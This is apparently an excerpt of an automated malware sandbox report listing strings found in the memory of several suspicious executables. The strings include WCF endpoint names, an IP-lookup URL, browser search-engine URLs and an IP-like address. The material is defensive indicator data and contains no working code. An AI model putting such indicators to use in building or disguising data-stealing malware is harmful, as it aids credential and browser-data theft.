Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577439117.0000000002F7C000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577458374.0000000002F80000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576780133.00000000033B8000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577210754.0000000006DDC000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 110B.exe, 0000001C.00000002.453201670.00000000043E1000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000000.448610314.0000000000402000.00000040.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, A87C.exe, 00000027.00000002.517417859.00000000000C2000.00000004.00000001.sdmp, A87C.exe, 00000027.00000003.516926123.0000000003722000.00000040.00000001.sdmp, 9B5C.exe, 00000028.00000000.541684095.0000000000402000.00000040.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.558023799.0000000000402000.00000020.00000001.sdmp, C26E.exe.13.dr	String found in binary or memory: https://api.ip.sb/ip
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576780133.00000000033B8000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577210754.0000000006DDC000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	String found in binary or memory: https://do219.236.148/
Source: AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576780133.00000000033B8000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577210754.0000000006DDC000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab(
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab4
Source: AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://get.adob
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://helpx.ad
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
